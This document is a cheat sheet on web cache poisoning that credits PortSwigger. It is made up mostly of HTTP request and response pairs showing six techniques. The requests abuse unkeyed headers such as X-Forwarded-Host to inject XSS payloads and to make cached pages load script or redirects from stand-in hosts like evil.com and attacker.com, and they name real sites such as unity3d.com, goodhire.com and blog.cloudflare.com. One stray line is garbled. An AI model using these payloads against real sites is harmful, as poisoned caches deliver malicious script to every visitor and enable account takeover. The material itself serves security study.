Web Cache Poisoning

Introduction

The objective of web cache poisoning is to send a request that causes a harmful response that gets saved in the cache and served to other users.

Where to find

-

How to exploit

1. Basic poisoning

```
GET / HTTP/1.1
Host: www.vuln.com
X-Forwarded-Host: evil.com
```


The response is

```
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<img href="https://evil.com/a.png" />
```

> Or you can input XSS payloads

```
GET / HTTP/1.1
Host: www.vuln.com
X-Forwarded-Host: a.\"><script>alert(1)</script>
```

The response is

```
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<img href="https://a.\"><script>alert(1)</script>a.png" />
```

2. Seizing the Cache

```
GET / HTTP/1.1
Host: unity3d.com
X-Host: evil.com
```

The response is

```
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://evil.com/x.js">
</script>
```

3. Selective poisoning

```
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (<snip> Firefox/60.0)
X-Forwarded-Host: a"><iframe onload=alert(1)>
```

The response is


```
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
```

4. Chaining Unkeyed Inputs

- First step

```
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
```

The response is

```
HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
```

- Second step

```
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
```

The response is

```
HTTP/1.1 301 Moved Permanently
Location: https://redacted.net
```

- Third step

```
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
```

The response is

```
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en
```

5. Route Poisoning


```
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: evil
```

The response is

```
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
...
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>
```

To exploit this, we need to go to hubspot.com, register ourselves as a HubSpot client, place a payload on our HubSpot page, and then finally trick HubSpot into serving this response on goodhire.com

```
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
```

The response is

```
HTTP/1.1 200 OK
…
<script>alert(document.domain)</script>
```

6. Hidden Route Poisoning

```
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: evil
```

The response is

```
HTTP/1.1 302 Found
Location: https://ghost.org/fail/
```

When a user first registers a blog with Ghost, it issues them with a unique subdomain under ghost.io. Once a blog is up and running, the user can define an arbitrary custom domain like blog.cloudflare.com. If a user has defined a custom domain, their ghost.io subdomain will simply redirect to it:

x.com/wtf brut

```
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io
```

The response is

```
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
```

References

- Portswigger